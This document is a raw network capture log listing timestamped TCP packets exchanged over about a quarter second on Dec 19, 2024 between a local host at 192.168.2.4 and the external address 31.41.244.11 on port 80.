Dec 19, 2024 20:11:50.991790056 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.991818905 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.991878986 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.991925001 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.992057085 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.992185116 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.992733955 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.992777109 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.992815971 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.992903948 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.993597984 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.993643999 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.993731022 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.993813992 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.994493008 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.994678974 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.994709015 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.994720936 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.995557070 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.995601892 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.995805979 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.995858908 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.996803045 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.996844053 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.997458935 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.997504950 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.997616053 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.997730017 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.997987986 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.998025894 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.998411894 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.998528004 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.998790026 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.998836994 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.999190092 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.999202013 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.999245882 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.999814987 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.999869108 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.999927044 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.000010967 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.000523090 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.000570059 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.000744104 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.000787973 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.001382113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.001432896 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.002053976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.002104998 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.002275944 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.002414942 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.002480030 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.002535105 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.003160954 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.003220081 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.003940105 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.003988981 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.004064083 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.004077911 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.004107952 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.004122972 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.004909039 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.004956007 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.005125046 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.005175114 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.005831003 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.005853891 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.005878925 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.005904913 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.006633997 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.006782055 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.006829977 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.007730961 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.007772923 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.007972956 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.008018017 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.008346081 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.008392096 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.008550882 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.008595943 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.009221077 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.009268045 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.009426117 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.009571075 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.010109901 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.010164022 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.011003017 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.011049986 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.011086941 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.011100054 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.011143923 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.011852980 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.011909008 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.012217999 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.012264967 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.012684107 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.012737989 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.013117075 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.013154030 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.013700962 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.013712883 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.013750076 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.014483929 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.014528990 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.014609098 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.015289068 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.015352964 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.015511990 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.016284943 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.016345024 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.016382933 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.016429901 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.017091036 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.017105103 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.017147064 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.017997026 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.018048048 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.018080950 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.018131971 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.018832922 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.018874884 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.019062042 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.019298077 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.019857883 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.019927025 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.020011902 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.020065069 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.020596027 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.020705938 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.020879030 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.020927906 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.021454096 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.021505117 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.021578074 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.021624088 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.022490978 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.022571087 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.022620916 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.023328066 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.023385048 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.023471117 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.023520947 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.024164915 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.024331093 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.024384975 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.025257111 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.025305986 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.025314093 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.025362015 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.025710106 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.025768042 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.025891066 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.025954008 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.026612043 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.026664972 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.026969910 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.027014971 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.027503967 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.027626991 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.027640104 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.027705908 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.028354883 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.028440952 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.028584003 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.028634071 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.029220104 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.029346943 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.029400110 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.030069113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.030118942 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.030204058 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.030267954 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.031271935 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.031289101 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.031325102 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.031793118 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.031843901 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.031928062 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.031986952 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.032695055 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.032864094 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.032866001 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.032941103 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.033551931 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.033602953 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.033663034 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.033716917 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.034491062 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.034532070 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.034662962 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.034709930 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.035300016 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.035351992 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.035430908 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.035478115 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.036128998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.036189079 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.036456108 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.036503077 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.036979914 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.037030935 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.212524891 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.212606907 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.212807894 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.212862968 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.212924004 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.212966919 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.213138103 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.213186026 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.213341951 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.213407040 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.213968992 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.214087963 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.214159966 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.214205027 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.214852095 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.214932919 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.215763092 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.215776920 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.215821981 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.216587067 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.216634989 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.216667891 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.216681957 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.216718912 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.217474937 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.217531919 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.218267918 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.218343973 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.218456030 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.218467951 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.218528032 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.218528032 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.219204903 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.219259024 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.219928980 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.220109940 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.220122099 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.220174074 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.220973015 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.221051931 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.221470118 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.221554995 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.221817970 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.221837044 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.221878052 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.221918106 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.222703934 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.222716093 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.222757101 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.223587036 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.223634005 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.223849058 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.223916054 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.224430084 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.224477053 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.224710941 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.224775076 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.225310087 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.225358963 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.225585938 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.225639105 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.226155996 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.226222992 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.226309061 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.226370096 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.227026939 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.227116108 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.227159023 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.227200031 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.228003025 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.228045940 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.228688002 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.228774071 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.228967905 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.228981018 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.229020119 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.229033947 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.229624033 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.229680061 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.230207920 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.230272055 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.230503082 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.230621099 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.230654001 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.230693102 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.231477976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.231492043 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.231533051 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.232265949 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.232315063 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.232558012 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.232681036 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.233107090 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.233179092 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.233355045 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.233401060 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.234016895 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.234081030 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.234133005 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.234237909 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.234812975 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.234926939 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.235224962 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.235328913 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.235696077 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.235749006 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.235949993 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.236007929 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.236656904 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.236711025 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.236869097 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.236948967 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.237464905 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.237514019 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.237874985 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.237936020 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.238326073 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.238337994 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.238379955 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.239188910 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.239245892 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.239284039 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.239445925 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.240030050 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.240112066 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.240381956 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.240433931 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.240902901 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.240961075 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.241228104 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.241281033 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.241781950 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.241839886 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.241959095 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.242084026 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.242655039 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.242710114 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.242913961 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.242973089 CET	49877	80	192.168.2.4	31.41.244.11
